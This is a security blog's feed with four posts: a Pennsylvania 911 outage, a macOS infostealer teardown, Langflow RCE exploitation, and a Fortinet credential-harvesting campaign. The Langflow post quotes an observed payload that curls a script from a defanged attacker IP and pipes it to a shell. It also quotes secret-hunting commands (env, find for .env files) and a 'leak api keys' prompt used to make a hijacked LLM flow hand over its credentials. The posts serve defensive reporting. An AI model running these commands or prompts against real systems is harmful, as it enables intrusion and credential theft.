]]></content:encoded></item><item><title><![CDATA[Pennsylvania Says Its Statewide 911 Disruption Wasn't a Cyberattack. The Alternative May Be Harder to Defend Against.]]></title><description><![CDATA[At about 2:00 p.m. on Friday, July 11, 2025, calls started failing into the Delaware County 911 center. The dispatchers there described the tell that something was wrong: an unnaturally quiet floor, t]]></description><link>https://blog.theknowngood.com/pennsylvania-ng911-outage</link><guid isPermaLink="true">https://blog.theknowngood.com/pennsylvania-ng911-outage</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[networking]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Security]]></category><category><![CDATA[Cloud]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Wed, 15 Jul 2026 15:57:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/a644c45c-f3c5-400a-97e1-5c3249342a16.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>At about 2:00 p.m. on Friday, July 11, 2025, calls started failing into the Delaware County 911 center. The dispatchers there described the tell that something was wrong: an unnaturally quiet floor, then bursts of calls, dropped connections, and calls that landed with no ANI or ALI attached -- no callback number, no location. Pennsylvania had finished moving its last PSAPs onto the statewide Next-Generation 911 system on April 10, roughly three months earlier. By 3:25 that afternoon, about eighty-five minutes in, PEMA pushed a statewide Wireless Emergency Alert and activated the Emergency Alert System, telling anyone who couldn't reach 911 to call their county center's non-emergency line and check local sources for the number.</p>
<p>The disruption ran into the evening. PEMA said during the outage that a majority of calls were still being delivered, and I could find no public statewide count of how many failed. Full service was declared around midnight. Eleven days later, the agency put out a summary of preliminary findings: the cause was "a defect in an operating system," and the disruptions were "not believed to be" the result of a cyberattack. That formal summary did not say which operating system, which component, what triggered it, or how it spread.</p>
<p>I want to sit with that, because the instinct in our field is to exhale when we hear "not a cyberattack." No identified adversary, no reported ransom demand, no announced breach. Just a bug. Feels almost comforting.</p>
<p>It shouldn't. A no-adversary failure that degrades call delivery across an entire state is, in some ways, the harder problem. There's no one to attribute it to, no indicator of compromise to hunt, no perimeter that would have stopped it. The fault arose inside infrastructure the system was designed to trust, and a perimeter defense cannot, by itself, prevent a failure inside a trusted component.</p>
<p>That distinction may matter more than usual here. In the days after the incident, PEMA told at least two news organizations that the problem involved a firewall operating-system error. Its formal July 22 summary described only an "operating system defect," without naming the product or component, so I won't infer a specific device or mechanism. But if the thing that failed was part of the security stack itself, "not a cyberattack" gets less reassuring in a hurry.</p>
<hr />
<h2>What actually happened, in plain terms</h2>
<p>Pennsylvania's NG911 runs on Next Generation Core Services -- NGCS. Those are the systems that take a 911 call and the location information the originating network hands over, validate or resolve that location as needed, and route the call to the right PSAP. In Pennsylvania, there are four instances of that core, located at two geographically separate in-state data centers. Comtech Telecommunications Corp. implemented and operates it under a statewide contract.</p>
<p>Four instances. Two data centers. That is a lot of redundancy on paper. And whatever the defect was, the disruption still appeared across the statewide system within a relatively short period.</p>
<p>That pattern is consistent with a common-mode or shared-fate failure -- where "redundant" components fail together because they share something underneath: the same software build, the same configuration, the same dependency, the same control plane, the same change pushed to all of them. NIST's own systems-security engineering guidance (SP 800-160) is direct about it: redundancy is susceptible to common-mode failure, and diversity is one means of addressing it, rather than simply adding more identical copies.</p>
<p>I want to be careful here, because the public record does not prove an identical defect sat on every node. A shared configuration, a shared update path, or a synchronization or load-shedding mechanism could produce the same correlated result. But the lesson survives either way. The redundancy we all point to in our continuity plans -- the "we have a second data center" line -- protects you against a fire, a flood, a fiber cut, a dead power feed at one site. It does far less against a fault that lives in something all the instances share. Redundancy only buys resilience to the extent its failure domains are genuinely independent. If four instances share the same flaw, four copies are still one failure domain with four addresses.</p>
<blockquote>
<p>Geographic redundancy is designed to survive losing a place. It does not, on its own, survive losing a piece of logic that every place is running.</p>
</blockquote>
<p>And this isn't only my read of it. Pennsylvania's own after-action review landed in the same place. When the outside firm running that review presented its findings to the state's 911 Advisory Board in December, one of the recommendations was multi-vendor diversity -- deliberately not building your redundancy out of a single vendor and a single software lineage. A board member raised exactly the right objection, that multi-vendor setups introduce their own interoperability and coordination problems, and the reviewer's answer was honest: yes, it adds cost and complexity, but it's the structural fix for the failure they had just lived through. When the official remediation for your outage is a version of "stop running identical copies of the same thing," the problem was never that you had too few copies.</p>
<p>One more thing the public record does not resolve is what set the incident off. On day one, PEMA said it did not appear to result from a pushed software update. Later, WFMJ reported, attributing the account to PEMA, that a routine Comtech software update triggered the operating-system defect. PEMA's formal July 22 release did not reconcile those accounts. Because the public record does not disclose the underlying evidence, I am not going to state the trigger as fact.</p>
<p>And if you're tempted to file this under "Pennsylvania's problem," don't. NENA and Carbyne's 2025 Pulse of 9-1-1 survey of 1,379 public-safety professionals found that 88 percent of emergency communications centers had experienced some kind of technology outage in the previous year. The specifics here are Pennsylvania's. The shape of the problem is everyone's.</p>
<hr />
<h2>What this means for your shop</h2>
<p>Translate it out of the press release and onto your floor.</p>
<p><strong>For the dispatch floor.</strong> The failure was intermittent, which is operationally worse than a clean outage in one specific way: calls that never reach your normal call-handling environment can be invisible there. Some connect, some don't, some arrive stripped of location and callback data. On a busy floor, that reads as noise before it reads as an outage. I can't tell you it cost Pennsylvania's telecommunicators any particular amount of time -- that wasn't documented, and I'm not going to invent it -- but as a general failure mode, intermittent upstream degradation is exactly the kind of thing that hides inside normal call-volume variation until someone connects the dots. The defense is a rehearsed, low-friction way for a telecommunicator to escalate "something upstream is wrong" in seconds, before they're certain, without a supervisor huddle.</p>
<p><strong>For agency leaders.</strong> Pull your COOP plan and ask whether it has a play for the core degrading as a unit -- even if both data centers remain reachable -- not just for losing a site. If your plan assumes only site loss, it leaves this different failure mode uncovered. Then ask how the public in your jurisdiction learns your backup number on a bad day. Pennsylvania's alert did not hand people a ten-digit number to dial; it told them to call their county's non-emergency line and go find the number themselves, mid-emergency. A WEA is a blunt instrument, and in my opinion an easy one to swipe away. The number needs to be in front of people before the outage, on the county site, in the places they actually look when they're scared.</p>
<p><strong>For IT and technical staff.</strong> Know exactly where the vendor's responsibility ends. Pennsylvania's statewide 911 plan states that Comtech's NG911 cybersecurity obligation ends at the demarcation equipment installed at the PSAP. What sits past that line isn't automatically "all yours" either -- responsibility on the PSAP side often divides between the county and its local vendors -- but you need to be able to draw that boundary from memory, because during an incident, "whose problem is this" is the question that burns the most time. And test the call path for failover for real. Never place uncoordinated test calls to 911; if live-call testing is required, schedule it in advance with the affected PSAP and run it under the approved test plan.</p>
<p><strong>For procurement and contracts.</strong> This is where the paperwork turns into life safety. When your NG911 contract renews, the questions that matter aren't just price and features. What's the root-cause disclosure obligation after an incident, and on what timeline? What's the notification SLA? On that last one you have a federal floor to hold vendors to: as of April 15, 2025, FCC rules require covered 911 service providers and originating service providers to notify potentially affected PSAPs as soon as possible, and no later than 30 minutes after discovering a 911-affecting outage. The rules require subsequent material updates as information becomes available; for originating providers, the first follow-up is due within two hours of the initial contact. APCO argued for fifteen minutes. Know the rule, and treat "we notified you inside the window" as the floor, not the goal.</p>
<p>There's a vendor-governance thread here too, and I want to handle it carefully, because the easy version of it is wrong. Comtech spent this period in heavy corporate motion: in October 2024 it began exploring strategic alternatives, including a potential divestiture, for the business containing its 911 operations; in November 2025 it renamed that segment Allerium; in June 2026 it agreed, subject to closing, to sell most of its satellite business and refocus the company around public safety. It is tempting to draw a line from "company in flux" to "that's why 911 broke." Don't. The 911 business remained profitable, with fiscal 2025 operating income rising year over year to $24.1 million, and the parent removed its going-concern doubt by late 2025. Nothing in the public record connects any of this to July 11. The smaller, real lesson for procurement is that ownership, capital structure, and strategic direction are continuity variables worth watching even when the operating unit is healthy, because they shape staffing, roadmap, and support over the life of a contract your community's ability to reach help depends on.</p>
<hr />
<h2>The part that still bothers me</h2>
<p>Let me be precise about what is and isn't public, because it cuts both ways. The most detailed public explanation of the cause is still "a defect in an operating system." But the after-action work is not buried. Comtech summarized its root-cause analysis to the 911 Advisory Board in September, covering the network design, the event, the impacts, the restoration, the cause, and corrective and preventative actions. In December the board received the after-action review's findings and recommendations from the outside firm that ran it, along with a corrective-action status update that includes concrete fixes: better outage notifications to PSAPs (multipath text and phone), and a supplementary PEMA notification for the most critical impairments. So this isn't a case of nobody looking, and it isn't total silence. Credit where it's due.</p>
<p>What's still missing is the granular technical cause: which operating system, which component, what triggered it, how it propagated across the instances. That's the part every other PSAP running this vendor's core has a direct operational interest in -- Comtech says it holds primary statewide NGCS contracts in eight other states, and whether those deployments share the affected component is unknown. I understand the security-sensitivity argument for holding some of it back. I don't fully buy it at this level of generality. "We found a defect and fixed it" is thin comfort for the people who dial that number when someone is dying, and the withheld technical detail is precisely what would let everyone else check whether they're exposed.</p>
<hr />
<h2>What to do with this before you close the tab</h2>
<p>You don't need a cyberattack to degrade 911. A defect in a trusted or shared component can be enough if the architecture does not fully isolate its operational effect. The telecommunicators working that Friday used backup procedures and kept serving their communities while call delivery misbehaved for hours through the afternoon and evening. The reported defect was in an operating system. The architecture was supposed to limit the operational impact, and it did not fully do so.</p>
<p>So, three questions for your own shop, this week:</p>
<ul>
<li><p>Does your COOP plan have a play for the core failing as a unit, not just a site going dark?</p>
</li>
<li><p>Do your telecommunicators have a two-second way to escalate an upstream failure, before they're sure?</p>
</li>
<li><p>Does your public know your backup number today, not during the alert?</p>
</li>
</ul>
<p>If any of those answers is 'no,' that's the first thing to fix this week -- not a note for later.</p>
]]></content:encoded></item><item><title><![CDATA[PamStealer Skips the Process Chains Defenders Watch. Not All of Them.]]></title><description><![CDATA[A fake macOS prompt asks you to let "Maccy" make changes and enter your password. You type it in. Most infostealers would grab whatever you typed and run. PamStealer checks first: it runs your passwor]]></description><link>https://blog.theknowngood.com/pamstealer-macos</link><guid isPermaLink="true">https://blog.theknowngood.com/pamstealer-macos</guid><category><![CDATA[Security]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[macOS]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Thu, 02 Jul 2026 22:01:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/1de1ad66-c124-438e-bdf4-21d3da91acbe.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A fake macOS prompt asks you to let "Maccy" make changes and enter your password. You type it in. Most infostealers would grab whatever you typed and run. PamStealer checks first: it runs your password against PAM -- the Pluggable Authentication Modules interface macOS uses to actually authenticate you -- confirms it works, and only then decides you're worth robbing. Get it wrong and the prompt just comes back until you get it right.</p>
<p>That one decision -- verify the password before doing anything with it -- is why Jamf Threat Labs named it PamStealer, and it's the tell for where commodity Mac malware is heading. Everything below comes from two vendor teardowns: Jamf, who named it, and ManageEngine, who independently analyzed the same campaign. They agree on the chain and diverge on a couple of specifics I'll flag as they come up.</p>
<hr />
<p>Start with the disguise. Maccy is a real, well-liked open-source clipboard manager, the kind of small utility power users install and forget. That makes it a good lure twice over. People seek it out deliberately, so the trust is already there. And a clipboard manager sits on top of exactly what you least want stolen -- pasted passwords, 2FA codes, seed phrases, whatever you copied out of your password manager thirty seconds ago. It arrives the familiar way: a compiled AppleScript, <code>Maccy.scpt</code>, on a disk image, served from a lookalike domain, <code>maccyapp[.]com</code>, positioned to surface in search alongside the real project. Disk images and AppleScript droppers are old news on the Mac. What happens after the double-click is the story.</p>
<hr />
<p>The AppleScript is a thin wrapper around an obfuscated JXA payload -- JavaScript for Automation, the dialect macOS exposes for scripting itself -- and that's the dropper. For the fetch, it doesn't shell out. A normal AppleScript downloader reaches for <code>curl</code> or <code>zsh</code>, and every one of those is a process spawn behavioral detection watches for. This one downloads through <code>NSURLSession</code> and the Objective-C bridge instead: native APIs, no <code>curl</code>, no <code>zsh</code>.</p>
<p>That doesn't make it processless, and it's worth killing that impression now, because the first wave of coverage read it as artifact-free. Before launching the payload it ad-hoc signs the bundle with <code>codesign -fs - --deep</code> -- a spawned process, running from Script Editor against a bundle in Application Support, which both teardowns flag as a detection opportunity. It drops a <code>.Maccy</code> marker file and launches hidden, no window, no Dock. So the honest read is narrower than "no artifacts": it skips the download chain classic detection keys on and leaves other artifacts in its place.</p>
<p>It's also picky about who it runs for. The dropper derives a key from a fingerprint of the host -- CPU architecture, locale, keyboard layout, time zone -- and uses it to unlock a config that only decrypts on a matching machine. ManageEngine adds that those checks double as a CIS geo-fence: the malware aborts silently on machines that look CIS-aligned, Russia and its post-Soviet neighbors, the usual move for an operator that doesn't want victims who could complain in its own jurisdiction. Across the samples Jamf pulled, the cosmetic details -- names, config values, obfuscation -- changed build to build while the behaviors held constant, which reads as an automated builder rather than someone hand-editing each one.</p>
<hr />
<p>The payload is a stripped, arm64-native Mach-O written in Rust -- uncommon in a stealer ecosystem Jamf notes is dominated by Swift, Go, and Objective-C, and it buys real friction against reverse engineering, since most of its strings decode only at runtime. It plays the native game one level deeper: instead of linking <code>Security.framework</code> the normal way, it loads it at runtime, so its keychain-access capability never appears in the binary's static import table. It bundles its own SQLite and reads browser credential, cookie, and wallet-extension databases as files, directly. What it ships back out it encrypts with ChaCha20-Poly1305, so the exfil resists inspection even though the config it leaves on disk does not.</p>
<p>Then the pattern breaks in the honest direction. Running as a fake Finder, Jamf's sample read the clipboard by spawning <code>pbpaste</code> -- not once, but on a loop, every ten to thirty seconds for the whole run. A process posing as Finder, running out of Application Support, shelling out to <code>pbpaste</code> every few seconds is one of the loudest signatures in the chain, and Jamf flags it for exactly that reason. (ManageEngine's variant did the same theft in-process through <code>NSPasteboard</code>, no subprocess, so that noise is Jamf's sample, not a law of the campaign.)</p>
<p>There's a crypto wrinkle worth stating carefully, and it's Jamf's alone. Jamf decrypted the server-side config and found two public Ethereum JSON-RPC endpoints in it, then caught the fake-Finder process actually connecting to one. What it does there, they couldn't say -- they didn't capture the calls, so the purpose stays open: a resilient dead-drop where a value read on-chain points to the next payload, or reconnaissance against the wallets the stealer already hunts. I'm not going to pretend to know which, and neither did they.</p>
<hr />
<p>Back to the password. Jamf watched the stealer show an <code>NSAlert</code> with a secure text field, styled like a real authorization request -- "Maccy wants to make changes," account name pre-filled -- and validate what you type locally through the PAM API. The contrast with the rest of the field is the point. Other commodity stealers confirm a captured password by shelling out; MacSync checks it with <code>dscl</code>, which is a process a defender can catch. A PAM check runs in-process and spawns nothing. Same trade it makes everywhere it counts.</p>
<p>Get it wrong and it re-prompts. Get it right and it shows a decoy: "'Maccy' is damaged and can't be opened. You should move it to the Trash," a near-copy of the real Gatekeeper warning. By then the payload has already run, kept your password, and set up persistence, so the message does one job -- get you to trash the lure and conclude the download was broken. Persistence uses login items, modern and legacy (<code>SMAppService</code> and <code>LSSharedFileList</code>), and deliberately avoids the LaunchAgents and LaunchDaemons where detection is densest. It masquerades as Finder, wearing the genuine icon, and holds back the Full Disk Access request it makes under that disguise for as long as forty minutes after launch, so the prompt doesn't line up with anything you just did. A permission request that arrives the instant you open an installer is suspicious. The same one forty minutes later is just macOS being macOS.</p>
<hr />
<p>Put the chain side by side and the philosophy is consistent, if not absolute. JXA over the Objective-C bridge instead of <code>curl</code>. A runtime-loaded <code>Security.framework</code> instead of a linked one. A PAM check instead of <code>dscl</code>. Login items instead of the LaunchAgents everyone watches. A permission prompt decorrelated from launch. At every stage defenders have historically keyed on, it picks the native path and skips the tell.</p>
<blockquote>
<p>It doesn't erase its footprint. It moves the footprint to where the old detections weren't looking.</p>
</blockquote>
<p>That's bigger than one clipboard clone. macOS detection leaned for years on the tells of noisy malware -- shell utilities, process trees, the <code>dscl</code> and <code>osascript</code> calls that announce themselves -- and that worked because commodity stealers were noisy. This one is commodity, not a nation-state showpiece: ManageEngine ties it to a malware-as-a-service pattern, per-host binary rotation and all, and it's quiet in exactly the places those detections watch. Here's my read, marked as a read and not a vendor finding: this is where the low end is going, because the quiet-native approach is turning up in automated-builder, spray-to-a-lookalike-domain malware, and the low end is where a technique becomes the baseline instead of the exception.</p>
<p>Two cautions before you repeat any of this. First, the deepest internals -- the validate-your-password-through-PAM workflow the name is built on, the server config, the forty-minute Full Disk Access delay -- are Jamf's. ManageEngine independently corroborates the chain but frames PAM differently: as <code>libpam</code> linkage the binary could use to intercept <code>sudo</code> and system-auth responses, not the validate-before-steal workflow. Both saw PAM; they emphasize different uses, and the behavior this piece opened on is Jamf's account specifically. Second, quieter is not invisible. The technique dodges shell-watching detection; it does not beat defense in depth. Endpoint Security tooling still sees the framework loads, the <code>codesign</code> spawn, the login-item registration; the <code>.config</code> sits on disk with the C2 URL in plaintext; ManageEngine's sample still tripped a VirusTotal engine at first submission; the C2 still has to talk.</p>
<hr />
<p>Here's what none of the native cleverness gets around: PamStealer still needs you to download it from the wrong domain, run a script you shouldn't, and type your password into a prompt you should have questioned. The chain depends on the human failing first, and "just tell users not to click" has never worked and never will. Installing a clipboard manager off a lookalike domain isn't carelessness -- it's a normal act in an environment that makes the fake and the real indistinguishable until it's too late.</p>
<p>So the takeaways are unglamorous. Get software from sources that can't be trivially cloned -- the Mac App Store, or the developer's verified GitHub, not whatever the search result surfaced. Treat an admin password prompt during an install as the highest-friction moment of your day, not the lowest. Be stingy with Full Disk Access, and suspicious of a request for it that arrives well after launch. And if you run detection for a fleet, watch framework loads, <code>codesign</code> fired against a bundle in Application Support, login items that resolve to a Finder outside <code>/System/Library/CoreServices/</code>, and a "Finder" reading a Chrome database -- rather than waiting for the malware to announce itself by spawning <code>curl</code>. The stealers stopped announcing themselves at the front door. They're still noisy inside the house, if your sensors are pointed at the right rooms.</p>
]]></content:encoded></item><item><title><![CDATA[Your Agent Framework Is a Pile of API Keys on a Public IP]]></title><description><![CDATA[Somewhere around hour twenty, a honeypot that Sysdig's threat research team had stood up specifically to watch this happen caught the moment the theory turned into a fact. The advisory for CVE-2026-33]]></description><link>https://blog.theknowngood.com/ai-orchestration-attack-surface</link><guid isPermaLink="true">https://blog.theknowngood.com/ai-orchestration-attack-surface</guid><category><![CDATA[AI]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[Devops]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Wed, 01 Jul 2026 22:20:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/f2881806-6f51-43c3-9314-10e501d32f94.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Somewhere around hour twenty, a honeypot that Sysdig's threat research team had stood up specifically to watch this happen caught the moment the theory turned into a fact. The advisory for CVE-2026-33017 went out on March 17. No public proof-of-concept existed yet. By the next morning, automated scanners were sweeping the internet for exposed instances, and shortly after that an attacker was inside one of the decoys running <code>env</code> to dump the process environment and hunting the filesystem for anything that looked like a secret.</p>
<pre><code class="language-bash">env
find /app -name "*.db" -o -name "*.env"
</code></pre>
<p>They weren't there for the box. They were there for what the box was holding.</p>
<p>The box was Langflow -- the open-source, drag-and-drop tool a lot of teams used through 2025 to wire up LLM agents and RAG pipelines without writing much code. And the thing worth sitting with is not that a popular tool had a bad bug. It's that the bug was ordinary, the exploitation was trivial, and the payoff was a wallet full of somebody else's API keys. That combination is not a Langflow problem. It's a category problem, and Langflow is just the instance that got caught first.</p>
<hr />
<p>CVE-2026-33017 is about as clean as remote code execution gets. Langflow exposes an endpoint whose entire job is to build "public flows," so it's intentionally unauthenticated:</p>
<pre><code class="language-plaintext">POST /api/v1/build_public_tmp/{flow_id}/flow
</code></pre>
<p>The intent was that this endpoint would build a flow from the definition already stored on the server. What it actually did, in every release before 1.9.0, was accept attacker-supplied flow data -- Python embedded in the node definitions -- and pass it straight to <code>exec()</code> with no sandbox. That's CWE-306 (missing authentication) stacked on CWE-94 (code injection), and it reduces to a single unauthenticated request:</p>
<pre><code class="language-python">__import__('os').system('curl hxxp://83[.]142[.]209[.]214:8080/isp.sh | sh')
</code></pre>
<p>One HTTP request, no credentials, arbitrary code on the host. CISA added 33017 to the Known Exploited Vulnerabilities catalog on March 25, with an April 8 remediation deadline for federal agencies. Sysdig had already watched it get exploited within roughly twenty hours of a disclosure that shipped no exploit code. The attackers built working exploits from the advisory text.</p>
<hr />
<p>Here's the part that should bother you more than the RCE.</p>
<p>An orchestration framework is a credential concentrator. Langflow flows embed provider keys, cloud credentials, and database connection strings directly in their component configs, because that's how you get a flow to actually talk to OpenAI or Anthropic or your Postgres box. So when an attacker lands code execution on the host, the loot isn't the compute. It's the pile of keys sitting in the environment, and those keys are liquid -- resellable, or immediately abusable to run up a bill on your provider account.</p>
<p>You don't have to infer the motive. In a later incident on the same platform, Sysdig watched an operator hijack a flow and feed it the prompt <code>leak api keys</code>, coaxing a flow that ran with its own embedded credentials into handing them over. That's the whole game in three words.</p>
<hr />
<p>And 33017 isn't the only door. CVE-2026-5027 is a path traversal in the file-upload endpoint (<code>POST /api/v2/files</code>) that never sanitized the filename, letting an attacker pack traversal sequences into it and write a file to an arbitrary location on disk. Formally, its CVSS vector requires low privileges rather than none -- but Langflow ships with auto-login enabled by default, which hands an exposed instance a valid session token on request, so on the deployments that got hit the credential barrier was effectively cosmetic. From an arbitrary file write the escalation is context-dependent but not exotic: a write into a location like <code>/etc/cron.d</code>, where permissions allow, turns the next cron run into a shell.</p>
<p>Tenable first contacted Langflow about this on January 20, followed up twice with no substantive response, and disclosed publicly on March 27. The fix was ultimately listed in <code>langflow-base</code> 0.8.3 and Langflow 1.9.0. In-the-wild exploitation showed up months later -- VulnCheck's Caitlin Condon confirmed honeypot hits on June 8. The window is the whole point: public disclosure and mass exploitation were separated by more than two months, and every instance nobody bothered to update sat open the entire time. An exposed instance is an open instance, and nobody has to phish anyone to reach it.</p>
<p>How many are exposed? The firmest number comes from Censys-based analysis, which put roughly 7,000 instances on the public internet -- and even that folds in a year of historical scan data, so the live count runs lower. ProCircular was separately reported as estimating more than 74,000, which I'd treat as the looser figure and which may be counting something different. The exact number matters less than the shape: "someone needed to demo a flow to a stakeholder" is how thousands of Python execution environments ended up on public IPs with no owner and no patch cycle.</p>
<hr />
<p>Even patching turned out to be a trap here, which is the detail that tells you what kind of ecosystem we're dealing with. JFrog went and empirically tested the version widely reported as fixed -- 1.8.2 -- and found it still exploitable. Their point was blunt and correct: you can't determine whether something is patched by reading what a release note claims, only by checking how the code behaves. The maintainers corrected the affected-version range quickly once JFrog told them, but for a window, the version everyone believed was safe wasn't. If your remediation plan was "upgrade to the fixed release," there was a real chance you upgraded to a still-vulnerable one and closed the ticket. Verify the fix landed. Don't take the changelog's word for it.</p>
<hr />
<p>This is where it stops being a Langflow story.</p>
<p>The same shape shows up across the orchestration ecosystem. LangChain-core has a path traversal in its legacy prompt-loading API that can read local configuration and secret-bearing files off disk, depending on file type and deployment layout. LangGraph carries an insecure-deserialization chain in its SQLite and Redis checkpoint stores that Check Point walked from SQL injection all the way to code execution -- in self-hosted deployments specifically, where user-controlled input reaches the checkpoint APIs; managed LangSmith wasn't affected. Neither issue has confirmed in-the-wild exploitation yet, and Check Point's disclosure ships working proof-of-concept, so "yet" is carrying its full weight in that sentence. These are the same bug classes -- injection, traversal, deserialization -- that we've been writing and re-writing since long before any of these tools existed. What changed is not the vulnerability. It's the address and the contents.</p>
<p>Merritt Baer, former deputy CISO at AWS, named why this class of failure is hard to see coming better than I can: when it lands, "it will feel like your traditional security program failing" rather than an AI problem. The exploit lives three layers down in a framework your application code imports. Your WAF never inspects the deserializer running underneath it. Your EDR watches the agent server make the same process calls it makes a thousand times a day and waves them through. The alert, if one fires at all, reads like an ordinary incident, because mechanically it is one.</p>
<hr />
<p>Two honest caveats before anyone forwards this upstairs with the subject line "we're all compromised."</p>
<p>Exposed is not compromised. The reporting confirms scanning volume and exploitation activity, not a tally of successful intrusions -- the roughly 7,000 exposed instances are not 7,000 breached ones. Credential theft is observed behavior in specific incidents; the <code>env</code> dumps and the <code>leak api keys</code> prompt were really seen. But nobody has published an accounting of the total downstream exfiltration across these campaigns, so the aggregate impact stays unquantified. Calibrate accordingly -- the case here doesn't need inflation.</p>
<p>What it does need is for the fixes, which are not exotic, to actually get done. Get these off the public internet -- there is close to no legitimate reason a Langflow or LangGraph instance should answer to the open web; put it behind authentication or a VPN. Authenticate or restrict the specific endpoints that were never meant to face outward. Patch to current, and confirm the patch closed the hole instead of trusting the release notes. Rotate every credential the instance could reach -- provider keys, cloud creds, database strings -- because if it was exposed during any of these windows, the correct assumption is that the keys already walked. Give each of these deployments an owner and put it in the same external attack-surface monitoring that governs the rest of your production estate, rather than letting it live as a science-fair project outside the CMDB. And lean on runtime detection: something like Falco will flag a web process spawning a shell or reading <code>.env</code> without needing a CVE-specific signature, which is exactly what you want on day zero, when no signature exists yet.</p>
<hr />
<p>The uncomfortable part was never any single CVE. It's that we spent a year handing every team a low-code button that stands up an internet-reachable Python execution environment holding a wallet of API keys, told them to move fast, and never wired those deployments into the security program that governs everything else we run. The frameworks did precisely what they were built to do. The bugs are the same ones we've always had. What's new is where they live and what they're standing next to.</p>
<p>By Sysdig's Zero Day Clock tracking, median time-to-exploit has collapsed from 771 days in 2018 to a matter of hours for the fastest-moving bugs, and attackers already treat AI infrastructure as a first-class target. The only open question is whether the people running it will start treating it like one before the next advisory drops and the twenty-hour clock starts over.</p>
]]></content:encoded></item><item><title><![CDATA[There's No Patch for FortiBleed. Public-Sector Networks Are Where That Hurts Most.]]></title><description><![CDATA[Every incident I've ever run started with the same reflex. A CVE drops, you check whether you're affected, you find the fixed version, you schedule the window, you patch, you verify, you close the tic]]></description><link>https://blog.theknowngood.com/fortibleed-public-sector</link><guid isPermaLink="true">https://blog.theknowngood.com/fortibleed-public-sector</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[networking]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[Fortinet ]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Sat, 27 Jun 2026 15:49:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/cd6b31ec-9b82-4f3e-82fc-658b41634922.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Every incident I've ever run started with the same reflex. A CVE drops, you check whether you're affected, you find the fixed version, you schedule the window, you patch, you verify, you close the ticket. The entire muscle that public-sector security teams have built over the last decade is wired to that loop. CISA publishes a Known Exploited Vulnerabilities entry, it comes with a due date, the federal agencies move, the state and local shops that pay attention move a beat later, and the work has a clean beginning and a clean end.</p>
<p>FortiBleed breaks that loop on the first step. There is no CVE to look up and no version you can upgrade to that makes it go away, because what's exposed isn't a flaw in the code -- it's your credentials. Firmware still matters here, and I'll get to why, but firmware is the floor, not the fix. The patch reflex isn't wrong; it just stops exactly where this campaign begins. And that is not a footnote to the story. It is the story.</p>
<p>Here is what happened, mechanically, because the shape of it is exactly why there's no patch. Public reporting doesn't describe one clean exploit chain, and that matters -- a single clean chain would imply a single fixable flaw. What it describes is a blended credential campaign. Sometime in the first half of 2026, a threat actor stood up automation that scans the internet for FortiGate firewalls and SSL VPN gateways, then works whatever initial access it can get: credentials reused from earlier Fortinet-related breach dumps and infostealer logs, brute force against devices with weak password hygiene and no MFA, and exposed management surfaces. One documented path in that mix is the device configuration file -- the backup file that, alongside your full network topology, carries the hashed passwords for your administrator and local accounts. Where the actor can obtain that file, it takes the hashes to offline cracking infrastructure, reportedly renting GPU horsepower by the hour, and recovers working passwords. The thing all of these paths have in common is that none of them is an exploit in the way we usually mean. There's no shellcode, no dropped file an EDR agent could flag. At the end of every path is the same event: a valid login. The attacker authenticates the way you do, because the credentials are correct.</p>
<p>And then it does the thing that turns this from a leak into a campaign. Once it owns the firewall, it reconfigures the device into a passive listening post that captures credentials out of the VPN traffic of your own legitimate users as they connect. Those harvested credentials get fed back into the scanner, which uses them to reach the next target. The operation grows itself. A security researcher, Volodymyr Diachenko, found the attacker's own server sitting exposed on the internet around June 13, complete with the tooling and a validated database of credentials, and that's how any of us know the scale at all.</p>
<p>The scale is the part that makes this a government story rather than just another Fortinet bad week. CISA puts the exposure at roughly 74,000 Fortinet devices. The researchers who recovered the server and named the campaign -- SOCRadar, working off the attacker's own files, with credentials independently verified by Kevin Beaumont in collaboration with Hudson Rock -- count 86,644 verified working credentials across 194 countries, and by their Shodan-based estimate that's something like half of every internet-facing Fortinet firewall on the planet. I'm not going to pretend those numbers are the same number; they're different cuts of a moving target, and you should cite whichever one you can defend. What isn't in dispute is the category. CISA's June 18 alert states plainly that actors targeted internet-accessible Fortinet devices "across government and private sector organizations," and the threat-intel reporting around it places telecom among the hardest-hit sectors, with government and education well represented among the affected categories.</p>
<p>That exposure is not an accident, and if you've ever maintained a firewall for a county, a city, a special district, or any of the agencies that sit one acquisition cycle behind the budget they actually need, you already know why.</p>
<p>Fortinet is woven deep into the public-sector perimeter. That's not a knock on the gear -- it's a procurement reality. Fortinet is GovRAMP authorized for state and local agencies, it runs a dedicated federal subsidiary, it sells through the cooperative purchasing contracts that let a strapped IT department skip a full RFP, and it markets directly into the public-safety niche with product lines built around Next Generation 911 and first-responder networks. Fortinet's own materials warn that emergency-response networks are increasingly targeted. They're right. The result is that when a campaign harvests credentials from internet-facing FortiGates, it is harvesting from a population that includes a high-consequence slice of government, education, public safety, and critical infrastructure -- much of it under-resourced, and a lot of it running the networks other people's safety depends on.</p>
